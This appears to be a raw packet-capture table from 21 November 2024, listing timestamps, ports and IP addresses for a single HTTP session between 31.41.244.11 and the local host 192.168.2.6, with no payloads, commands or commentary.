Nov 21, 2024 14:11:17.721688032 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.721712112 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.721740007 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.722872019 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.722889900 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.722906113 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.722919941 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.722940922 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.722949028 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.723484993 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.723526955 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.723543882 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.723570108 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.723597050 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.724286079 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.724634886 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.724687099 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.724705935 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.724746943 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.725369930 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.725398064 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.725413084 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.725419044 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.725435019 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.725450039 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.726291895 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.726340055 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.726355076 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.726372004 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.726408005 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.727114916 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.727163076 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.727165937 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.727180004 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.727788925 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.728142023 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.728218079 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.728233099 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.728271961 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.728288889 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.729296923 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.729376078 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.729417086 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.729434013 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.729469061 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.730495930 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.730521917 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.730536938 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.730576992 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.730593920 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.731302977 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.731336117 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.731350899 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.731352091 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.731394053 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.732075930 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.732119083 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.732147932 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.732165098 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.732187033 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.732204914 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.732892036 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.732914925 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.732929945 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.732934952 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.732949972 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.732965946 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.733692884 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.733731985 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.733731985 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.733750105 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.733788013 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.734389067 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.734432936 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.734448910 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.734464884 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.734492064 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.734504938 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.735105038 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.735145092 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.905813932 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.905865908 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.905879974 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.905883074 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.905914068 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.905941010 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.906301022 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.906323910 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.906342030 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.906366110 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.906397104 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.907166958 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.907206059 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.907227993 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.907247066 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.907248974 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.907443047 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.908023119 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.908180952 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.908196926 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.908256054 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.908292055 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.908905983 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.908976078 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.909032106 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.909048080 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.909084082 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.909096956 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.909748077 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.909804106 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.909826994 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.909862995 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.909898996 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.910609007 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.910645962 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.910670042 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.910702944 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.910715103 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.911523104 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.911576033 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.911581039 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.911597013 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.911614895 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.911628962 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.912395000 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.912445068 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.912472963 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.912488937 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.912516117 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.912528038 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.913271904 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.913297892 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.913312912 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.913321018 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.913352966 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.914158106 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.914227009 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.914258957 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.914299011 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.914305925 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.914550066 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.915044069 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.915095091 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.915201902 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.915220976 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.915899038 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.915956974 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.915971041 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.915973902 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.916009903 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.916795015 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.916858912 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.916860104 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.916898012 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.916899920 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.916969061 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.918159962 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.918214083 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.918287992 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.918304920 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.918342113 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.918560982 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.918586969 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.918601990 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.918613911 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.918637037 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.918644905 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.919435024 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.919498920 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.919549942 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.919564962 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.919595003 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.919624090 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.920315981 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.920367002 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.920391083 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.920407057 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.920427084 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.920444965 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.921171904 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.921226025 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.921227932 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.921242952 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.921282053 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.921282053 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.922069073 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.922128916 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.922130108 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.922147036 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.922173977 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.922205925 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.922941923 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.922997952 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.923012972 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.923015118 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.923051119 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.923075914 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.923789024 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.923819065 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.923835993 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.923872948 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.923872948 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.924669981 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.924746990 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.924968958 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.925024033 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.925031900 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.925049067 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.925252914 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.925862074 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.925879002 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.925896883 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.925920010 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.925950050 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.926717997 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.926770926 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.926772118 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.926788092 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.926836967 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.927594900 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.927649021 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.927661896 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.927678108 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.927710056 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.927741051 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.928637981 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.928726912 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.928775072 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.928791046 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.928837061 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.929605961 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.929658890 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.929661989 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.929676056 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.929708004 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.929738045 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.930526018 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.930594921 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.930625916 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.930632114 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.930632114 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.930664062 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.931298018 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.931349993 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.931360006 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.931375980 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.931416988 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.931416988 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.931989908 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.932014942 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.932029963 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.932038069 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.932071924 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.932071924 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.932849884 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.932900906 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.932936907 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.932954073 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.933001995 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.933001995 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.933748960 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.933799028 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.933815956 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.933815956 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.933847904 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.933868885 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.934634924 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.934690952 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.934698105 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.934712887 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.934741020 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.934772968 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.935494900 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.935553074 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.935570955 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.935586929 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.935627937 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.935628891 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.936336040 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.936399937 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.107122898 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.107240915 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.107306004 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.107323885 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.107376099 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.107536077 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.107553959 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.107566118 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.107610941 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.108439922 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.108483076 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.108494043 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.108541965 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.109396935 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.109467983 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.109478951 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.109533072 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.110256910 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.110320091 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.110332012 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.110385895 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.111120939 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.111195087 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.111206055 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.111278057 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.112202883 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.112282991 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.112294912 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.112302065 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.112344980 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.113174915 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.113296032 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.113306999 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.113380909 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.113977909 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.114021063 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.114032030 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.114098072 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.114753008 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.114801884 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.114814043 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.114835978 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.114895105 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.115426064 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.115492105 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.115497112 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.115504026 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.115549088 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.115581989 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.116326094 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.116344929 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.116355896 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.116411924 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.117266893 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.117331982 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.117343903 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.117424011 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.118081093 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.118132114 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.118143082 CET	80	49876	31.41.244.11	192.168.2.6
